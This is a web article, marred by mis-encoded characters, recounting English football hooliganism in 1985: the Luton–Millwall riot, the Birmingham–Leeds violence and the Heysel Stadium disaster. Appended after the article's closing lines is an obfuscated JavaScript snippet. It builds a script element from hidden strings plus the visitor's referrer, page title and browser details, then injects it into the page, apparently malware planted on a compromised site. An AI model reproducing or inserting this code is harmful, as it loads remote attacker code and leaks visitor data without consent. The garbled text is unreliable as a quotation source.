ai???I had not expected the violence to be so pleasurable….This is, if you like, the answer to the hundred-dollar question: why do young males riot every Saturday? They do it for the same reason that another generation drank too much, or smoked dope, or took hallucinogenic drugs, or behaved badly or rebelliously. Violence is their antisocial kick, their mind-altering experience, an adrenaline-induced euphoria that might be all the more powerful because it is generated by the body itself, with, I was convinced, many of the same addictive qualities that characterize synthetically-produced drugs.ai???

In his attempt to understand violence in English football, American journalist Bill Buford spent time attending football matches, befriending ai???hooligansai??i?? and ai???firmsai??i?? as he witnessed firsthand the phenomenon of football riots in England during the 1980 and 1990s.

Spending time with the Inter-City Jibbers, a firm of hooligans associated with Manchester United, Bill Buford brings to light in his book ‘Among the Thugs‘ the inner psychology of the rioters who plagued England and other parts of the world during the closing decades of the 20th Century.

It was during the 1970s that organised hooligan groups, known as firms began to emerge in England. Though violence amongst football fans was common before the emergence of these firms, it was only after the 1970s that it truly took its roots in the English football culture.

In order to truly understand the epidemic of football related riots in England, perhaps a look at the very name of one such football firm, the Inter City Firm (West Ham United), considered to be the first properly organised firm in England, will reveal the extent of violence that had pervaded the British society. The name ai???Inter Cityai??i?? is derived from the InterCity Football Specials, a special chartered train network that was used to carry football fans for away fixtures. Such was the resultant violence of these football fixtures that England had to specially carry its football fans in chartered trains, under the strict supervision of the police and away from innocent passengers, in order to cause minimum damage to public property.

While the 1970s saw the rise of such hooliganism, the 1980s marked the rise of intense hatred and wild rioting as football hooliganism became an intrinsic part of the English youth. Considered to be the lowest point in the history of English football, 1985 heralded in an era of mob-violence and rioting that was unparalleled and unprecedented in its intensity and magnitude.

The Hard Tackle takes a walk down memory lane and looks at the worst incidents that scarred the game of football in 1985.

Luton Town vsAi?? Millwall- ai???Congratulations, Youai??i??ve just met the Millwall Bushwackersai??i??

One of the worst incidents of football hooliganism played out at the FA Cup Quarter final between Luton Town and Millwall at Kenilworth Road. Millwall Bushwackers, a notorious firm that had earned a reputation of savagery, decided to tear apart Luton Town as fans descended into severe rioting and intense brawling. Away supporters ripped apart the seats that were used both as a shield and a weapon as they repeatedly clashed with the police along with the the home supporters, vandalising the entire stadium.

Fans collided with each other as several hooligans invaded the pitch on a night that was later termed as the ai???worst example of football violence seen at an English groundai???. As missiles rained upon the stadium, Lutonai??i??s goalkeeper was hit by one such object in a match that saw Luton beat Millwall by one goal.

The stadium was left thoroughly destroyed as fans tore into each other, invading the pitch twice as violence continued well after the match was finished. The violence reigned outside the stadium too as opposing firms clashed with each other which prompted the British government to take severe action against the alleged perpetrators of the violence. Such was the impact that the Chelsea chairman, Ken Bates, a particularly vocal man, was known to have said that he wanted to erect electrified fences at Stamford Bridge to keep the supporters in check.

Birmingham vs Leeds United, St. Andrews 1985

A month after the Millwall Bushwackers tore Luton down, the match between Birmingham and Leeds United at St. Andrews turned into a nightmare after a 14 year old fan was crushed beneath a wall that collapsed outside the stadium following a day of rioting. Several hundred supporters clashed with the police as they invaded the pitch, confronting the police with missiles looking to create mayhem with their violence. Leeds fans allegedly set fire to certain away sections in the stadium, tore down the seats and used concrete blocks as missiles to hurl at the opposition fans. The match turned into a violent display of anger and football rivalry as thousands of spectators breached the lines and invaded the pitch, clashing violently with each other and the police.

Heysel Stadium Disaster-Soccerai??i??s Day of Shame (TIME Magazine)

Looking to defend their European Cup title in 1985, Liverpool played the finals against Juventus on the 29th of May, 1985 in Brussels, at the Heysel Stadium. Playing hosts, Heysel Stadium was in a miserable state before the finals, severely lacking maintenance as several parts of the stadium were on the verge of crumbling down. Though Santiago Bernabeu and Camp Nou were available as possible venues, UEFA refused to relocate the finals, despite a request from Liverpool which considered the stadium to be ill-equipped to be hosting the European Cup finals.

With more than 25,000 fans from each side turning up for the occasion, the Heysel stadium was packed to the rafters before the game began. As indicated in the map, while sections O,N and M were reserved for Juventus fans and X and Y solely reserved for Liverpool supporters, section Z was left open to neutral fans from Belgium itself. The idea of keeping section Z open to neutral fans was opposed by both Juventus and Liverpool who believed that the tickets for this section would be procured by both Juventus and Liverpool supporters, resulting in a heady mix of dangerous fans.

As it turned out, Juventus fans managed to secure tickets for the Z section in abundance as compared to those from England, which resulted in the close proximity of the two opposing groups along with the glaring presence of Liverpool supporters right in the neighbouring stands X and Y.

Though the details of the incident are subject to intense speculation as no one really knows what sparked the fuse between the fans, it is alleged that with the kick-off soon approaching, Liverpool supporters from section X and Juventus supporters from section Z, separated by a mere chain link fencing, began to throw missiles at each other. With the confrontation gaining intensity with each passing minute, the two sides came to blows as Liverpool fans allegedly tried to corner the Italian fans towards the corner flag.

Outnumbered severely, Juventus fans tried to retreat to their end and escape while crossing over the dividing wall into the neutral section but unfortunately the wall gave way under the weight of the fans, as 39 people succumbed to their death while several hundreds were left injured and trapped under the debris. Despite such a catastrophe, the ensuing confrontation between the fans continued as Juventus supporters at the opposite end (Section O, N and M) began advancing towards the Liverpool supporters, rioting on their way. Though the police managed to keep the Juventus fans at bay, the confrontation between the supporters and the police lasted for around two hours as missiles rained all over the stadium.

Despite the appalling disaster, the match was not abandoned as officials believed that cancelling the game would lead to further rioting and confrontations. The match kicked off after the respective captains requested the fans to calm down and was played out after the field was strictly monitored by the riot police. In fact the riot police continued to wrestle with the hooligans as the match went on.

Juventus won the match 1-0 on that fateful night that saw 39 football fans breathe their last due to senseless rioting.

“Only the English fans were responsible. Of that there is no doubt.”– Ai??UEFAAi??observer Gunter Schneider

Though investigations were made, the initial blame was put solely on the English fans for inciting the crowd but a thorough investigation later revealed that the police and stadium authorities along with the fans were equally responsible for the disaster. Margaret Thatcher, then Prime Minister and a vocal adversary of football and its resultant violence, pressurized the FA to withdraw English clubs from all European competitions. Later, UEFA banned all English clubs from participating in European competitions for a period of 5 years.

The darkest hour in the history of football served as an eye-opener for the authorities who tried to regulate the entry of fans to control the violence in English stadiums. The Football Spectators Act of 1989 was enacted by the British government that sought to issue ID cards for every football spectator along with other measures that were taken up by the government.

In the 2005 Champions League quarter-finals, Juventus and Liverpool were drawn again for the first time after the Heysel disaster. The first leg of the tie was played at Anfield where Liverpool supporters held placards saying ai???amiciziaai??i?? (meaning friendship in Italian) hoping to bring an end to the bad blood that existed between the two teams. Though some fans applauded the gesture, the majority of Juventus supporters reportedly turned their back to the message of friendship, choosing instead to welcome the Liverpool supporters at Turin with banners saying ai???Easy to speak, difficult to pardon: murdersai??i?? and ai???Sheffield, God existsai??i?? in a reference to the Hillsborough disaster.

Though football hooliganism has been effectively regulated and brought in check over the years, the simmering passion still often leads to altercations and brawls in England and all over the world. While the days of shame are definitely behind us, it is very important for fans all over the world to remember the disasters that were brought upon the entire football community due to the senseless behaviour of the fans. To remember these incidents is not just to honour the memories of those departed, but it serves as a reminder for us fans to not betray the sacred line between passion and madness. Lest we forget.

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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}